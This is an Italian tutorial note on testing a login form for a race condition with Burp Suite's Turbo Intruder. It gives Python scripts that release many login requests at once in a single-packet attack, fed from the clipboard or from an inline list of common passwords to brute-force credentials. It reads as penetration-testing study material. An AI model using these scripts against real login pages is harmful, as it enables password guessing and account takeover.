tags: Race_Conditions Race_Condition_BruteForce Turbo_Intruder_BruteForce


Per testare la vulnerabilità di Race Condition in un login form possiamo utilizzare Turbo Intruder che è un’estensione di BurpSuite. Questa estensione permette di effettuare tante richieste come se fossero una sola, per capire come utilizzarla puoi andare a questa pagina - Turbo Intruder.

Una volta entrati nell’interfaccia di Turbo Intruder scegli lo script race-single-packet-attack.py dal menù a tendina che dovrebbe essere il seguente:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,   # una sola connessione
                           engine=Engine.BURP2)       # abilita il single-packet attack
 
    # accoda 20 richieste identiche nel "cancello" chiamato '1'
    for i in range(20):
        engine.queue(target.req, gate='1')
 
    # apre il cancello: spara tutte e 20 le richieste in parallelo
    engine.openGate('1')

Ora nella richiesta di Post modifica il parametro che vuoi attaccare sostituendo il valore con %s e in seguito lo script nel seguente modo:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)
 
    # una richiesta per ogni password, tutte nello stesso gate '1'
    for password in wordlists.clipboard:
        engine.queue(target.req, password, gate='1')
 
    # apre il gate: tutte le richieste partono insieme
    engine.openGate('1')
 
def handleResponse(req, interesting):
    table.add(req)

Con questa modifica ti basta copiare la wordlist negli appunti con CTRL+c e poi cliccare su Attack e vedere poi nelle risposte se ci sono delle variazioni.

Nel caso in cui volessi copiare la worlist direttamente nello script ti basterebbe modificare lo script nel seguente modo:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)
 
    passwords = ['123123', 'abc123', 'football', 'monkey', 'letmein',
                 'shadow', 'master', '666666', 'qwertyuiop', '123321',
                 'mustang', '123456', 'password', '12345678', 'qwerty',
                 '123456789', '12345', '1234', '111111', '1234567',
                 'dragon', '1234567890', 'michael', 'x654321', 'superman',
                 '1qaz2wsx', 'baseball', '7777777', '121212', '000000']
 
    for password in passwords:
        engine.queue(target.req, password, gate='1')
 
    engine.openGate('1')
 
def handleResponse(req, interesting):
    table.add(req)